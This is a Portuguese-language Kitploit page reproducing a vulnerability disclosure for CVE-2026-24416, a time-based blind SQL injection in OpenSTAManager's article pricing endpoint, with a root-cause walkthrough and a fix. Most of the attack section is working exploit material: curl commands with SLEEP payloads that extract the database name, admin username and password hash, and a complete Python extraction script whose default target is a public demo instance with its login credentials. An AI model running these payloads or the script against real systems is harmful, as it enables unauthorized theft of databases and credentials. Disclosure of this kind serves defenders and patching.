Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-24416 — CVE-2026-24416 - OpenSTAManager has a Time-Based Blind SQL Injection in Article Pricing Module | Kitploit
Ferramentas/GitHubGitHub/lukasz-rybak/cve-2026-24416
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHublukasz-rybak/cve-2026-24416

CVE-2026-24416

CVE-2026-24416 - OpenSTAManager has a Time-Based Blind SQL Injection in Article Pricing Module

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-24416: OpenSTAManager possui uma Injeção SQL Cega Baseada em Tempo no Módulo de Preços de Artigos

Visão Geral

CampoDetalhes
ID CVECVE-2026-24416
SeveridadeALTA
AvisoVer Aviso
Descoberto porLukasz Rybak

Produtos Afetados

  • devcode-it/openstamanager (versões: <= 2.9.8)

Classificação CWE

  • CWE-89: Neutralização Incorreta de Elementos Especiais usados em um Comando SQL ('Injeção SQL')

Detalhes

Resumo

Vulnerabilidade crítica de Injeção SQL Cega Baseada em Tempo no módulo de preços de artigos do OpenSTAManager v2.9.8 permite que atacantes autenticados extraiam todo o conteúdo do banco de dados, incluindo credenciais de usuário, dados de clientes e registros financeiros, através de ataques de inferência booleana baseados em tempo.

Status: ✅ Confirmado e testado em instância ao vivo (v2.9.8) e demo.osmbusiness.it (v2.9.7) Parâmetro Vulnerável: idarticolo (GET) Endpoint Afetado: /ajax_complete.php?op=getprezzi Módulo Afetado: Articoli (Artigos/Produtos)

Detalhes

O OpenSTAManager v2.9.8 contém uma vulnerabilidade crítica de Injeção SQL Cega Baseada em Tempo no manipulador de conclusão de preços de artigos. A aplicação falha em sanitizar adequadamente o parâmetro idarticolo antes de usá-lo em consultas SQL, permitindo que atacantes injetem comandos SQL arbitrários e extraiam dados sensíveis através de inferência booleana baseada em tempo.

Cadeia de Vulnerabilidade:

  1. Ponto de Entrada: /ajax_complete.php (Linha 27)

    root@kitploit:~
    $op = get('op');
    $result = AJAX::complete($op);
    

    O parâmetro op é recuperado, mas a vulnerabilidade está em outros parâmetros.

  2. Distribuição: /src/AJAX.php::complete() (Linha 189)

    root@kitploit:~
    $result = self::getCompleteResults($file, $resource);
    
  3. Execução: /src/AJAX.php::getCompleteResults() (Linha 402)

    root@kitploit:~
    require $file;
    

    Arquivos complete.php específicos do módulo são incluídos.

  4. Parâmetro Vulnerável: /modules/articoli/ajax/complete.php (Linha 26)

    root@kitploit:~
    $idarticolo = get('idarticolo');
    

    O parâmetro idarticolo é recuperado da requisição GET.

Contexto - Estrutura Completa da Consulta (Linhas 39-74):

A consulta vulnerável faz parte de uma consulta UNION que busca histórico de preços de faturas e notas de entrega:

root@kitploit:~
$documenti = $dbo->fetchArray('
    SELECT
        `iddocumento` AS id,
        "Fattura" AS tipo,
        "Fatture di vendita" AS modulo,
        (`subtotale`-`sconto`)/`qta` AS costo_unitario,
        ...
    FROM
        `co_righe_documenti`
        INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
        INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
    WHERE
        `idarticolo`='.prepare($idarticolo).' AND ...  # ✓ DEVIDAMENTE SANITIZADO (Linha 54)
UNION
    SELECT
        `idddt` AS id,
        "Ddt" AS tipo,
        ...
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND   # ✗ VULNERÁVEL - NÃO usa prepare() (Linha 70)
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
ORDER BY
    `id` DESC LIMIT 0,5');

Causa Raiz: O desenvolvedor usou prepare() corretamente no primeiro SELECT (Linha 54) mas esqueceu de usá-lo no segundo SELECT da consulta UNION (Linha 70), criando um padrão de segurança inconsistente.

PoC

Passo 1: Login

root@kitploit:~
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Passo 2: Verificar Vulnerabilidade (SLEEP Baseado em Tempo)

root@kitploit:~
# Teste com SLEEP(10)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
  > /dev/null
# Resultado: real 0m10.32s (10.32 segundos)

# Teste com SLEEP(3) - deve levar ~3 segundos
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
  > /dev/null
# Resultado: real 0m3.36s (3.36 segundos)

# Teste sem SLEEP
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
  > /dev/null
# Resultado: real 0m0.31s (0.31 segundos)
image

Passo 3: Extração de Dados - Nome do Banco de Dados

root@kitploit:~
# Extrair primeiro caractere do nome do banco de dados
# Testar se o primeiro caractere é 'o' (esperado: TRUE para 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Resultado: real 0m2.34s (SLEEP executado - condição TRUE)

# Testar se o primeiro caractere é 'x' (esperado: FALSE)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Resultado: real 0m0.31s (SLEEP não executado - condição FALSE)

# Extrair segundo caractere (esperado: 'p')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Resultado: real 0m2.34s (SLEEP executado - confirma segundo caractere como 'p')

# Extrair primeiros 3 caracteres (esperado: 'ope')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Resultado: real 0m2.33s (SLEEP executado - confirma 'ope...')

Passo 4: Extrair Dados Sensíveis - Credenciais do Administrador

root@kitploit:~
# Extrair nome de usuário admin (testar se os primeiros 5 caracteres são 'admin')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Resultado: real 0m2.33s (SLEEP executado - confirma nome de usuário admin)

# Extrair primeiro caractere do hash da senha (esperado: '$' para bcrypt)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Resultado: real 0m2.33s (SLEEP executado - confirma formato de hash bcrypt)

Explicação do Payload:

root@kitploit:~
Payload original: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL codificado: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)

Detalhamento da injeção:
1. 1 - ID de artigo válido
2. AND SUBSTRING(DATABASE(),1,1)='o' - Condição booleana para testar
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Executa SLEEP(2) se a condição for verdadeira

Resultado da Consulta SQL:
WHERE
    `idarticolo`=1
    AND SUBSTRING(DATABASE(),1,1)='o'
    AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
    AND `dt_tipiddt`.`dir`="entrata"
    AND `idanagrafica`=1

Exemplo de Script de Extração Automatizada:

root@kitploit:~
import requests
import time
import string
import sys

# Configuração Padrão
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3  # Aumentado para 3s para estabilidade na instância demo remota

def login(session, base_url, user, pwd):
    """Autentica na aplicação e mantém a sessão."""
    login_url = f"{base_url}/index.php?op=login"
    data = {"username": user, "password": pwd}
    
    print(f"[*] Tentando login em: {login_url}...")
    try:
        response = session.post(login_url, data=data, timeout=10)
        # Verifica se o login foi bem-sucedido (geralmente indicado pela presença de link de logout ou redirecionamento)
        if "logout" in response.text.lower() or response.status_code == 200:
            print("[+] Login bem-sucedido!")
            return True
        else:
            print("[-] Falha no login. Verifique as credenciais.")
            return False
    except Exception as e:
        print(f"[!] Erro de conexão: {e}")
        return False

def extract_data(session, base_url, sql_query, label="Dados"):
    """Extrai dados caractere por caractere até o final da string ser alcançado."""
    print(f"\n[*] Extraindo: {label}...")
    result = ""
    position = 1
    target_endpoint = f"{base_url}/ajax_complete.php"
    
    # Charset otimizado para nomes de banco de dados e hashes bcrypt ($, ., /)
    charset = string.ascii_letters + string.digits + "$./" + string.punctuation

    while True:
        found_char = False
        for char in charset:
            # Payload: Se a condição for verdadeira, o servidor dorme por SLEEP_TIME
            # Usando ORD() e SUBSTRING() para lidar com vários tipos de caracteres com segurança
            payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
            
            params = {
                "op": "getprezzi",
                "idanagrafica": "1",
                "idarticolo": payload
            }

            try:
                start_time = time.time()
                session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
                elapsed = time.time() - start_time

                if elapsed >= SLEEP_TIME:
                    result += char
                    found_char = True
                    sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
                    sys.stdout.flush()
                    break
            except requests.exceptions.RequestException:
                # Lida com instabilidade de rede/timeouts tentando novamente ou continuando
                continue

        # Se nenhum caractere do charset acionou um sleep, chegamos ao final dos dados
        if not found_char:
            print(f"\n[!] Fim da string ou nenhum dado encontrado na posição {position}.")
            break
            
        position += 1
        
    return result

def main():
    s = requests.Session()
    
    # Permite que a URL alvo seja passada como argumento de linha de comando
    target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
    
    if login(s, target, USERNAME, PASSWORD):
        # 1. Extração do nome do banco de dados
        db = extract_data(s, target, "SELECT DATABASE()", "Nome do Banco de Dados")
        
        # 2. Extração do nome de usuário admin
        user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Nome de Usuário Admin (id=1)")
        
        # 3. Extração do hash da senha (hashes Bcrypt têm ~60 caracteres; o loop lida com isso automaticamente)
        pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Hash da Senha")

        print(f"\n\n{'='*35}")
        print(f"         RELATÓRIO FINAL")
        print(f"{'='*35}")
        print(f"URL Alvo: {target}")
        print(f"Banco de Dados:   {db}")
        print(f"Nome de Usuário:   {user}")
        print(f"Hash:       {pwd_hash}")
        print(f"{'='*35}")

if __name__ == "__main__":
    main()
image

Impacto

Usuários Afetados: Todos os usuários autenticados com acesso à funcionalidade de preços de artigos (tipicamente usuários que gerenciam cotações, faturas, pedidos).

Correção Recomendada:

Arquivo: /modules/articoli/ajax/complete.php

ANTES (Vulnerável - Linha 70):

root@kitploit:~
WHERE
    `idarticolo`='.$idarticolo.' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

DEPOIS (Corrigido):

root@kitploit:~
WHERE
    `idarticolo`='.prepare($idarticolo).' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

Créditos

Descoberto por Łukasz Rybak

Referências

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24416
  • https://github.com/advisories/GHSA-p864-fqgv-92q4

Aviso

Este CVE foi divulgado de forma responsável seguindo práticas coordenadas de divulgação de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.

Baixar ferramenta
  • Consulta SQL Vulnerável: /modules/articoli/ajax/complete.php (Linha 70) VULNERABILIDADE PRIMÁRIA

    root@kitploit:~
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
    

    Impacto: Concatenação direta de $idarticolo sem prepare(), enquanto $idanagrafica é devidamente sanitizado.